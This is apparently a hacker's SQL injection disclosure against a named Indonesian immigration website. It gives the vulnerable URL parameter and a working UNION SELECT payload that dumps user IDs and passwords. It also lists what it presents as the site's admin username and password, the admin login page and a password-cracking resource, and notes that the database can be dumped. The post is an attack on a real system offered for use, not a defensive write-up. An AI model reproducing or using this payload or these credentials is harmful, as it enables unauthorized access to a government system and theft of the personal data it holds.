[SQLi] http://www.imigrasi.co.id

PoC: http://www.imigrasi.go.id/index.php?go=pelayanan&pelIdnya=[SQli]
Demo: http://www.imigrasi.go.id/index.php?go=pelayanan&pelIdnya=1+and+1=2+union+select+1,2,concat_ws(0x3a,usrID,usrPwd),4,5,6,7,8+from+users+limit+0,1--

Tools: RainbowCrack at irc.plain-text.info
Admin usr/pwd: admin:123qweasdzxc
Admin login page: http://www.imigrasi.co.id/login.php
Comment: mysql db can also be dumped.

Screenshot: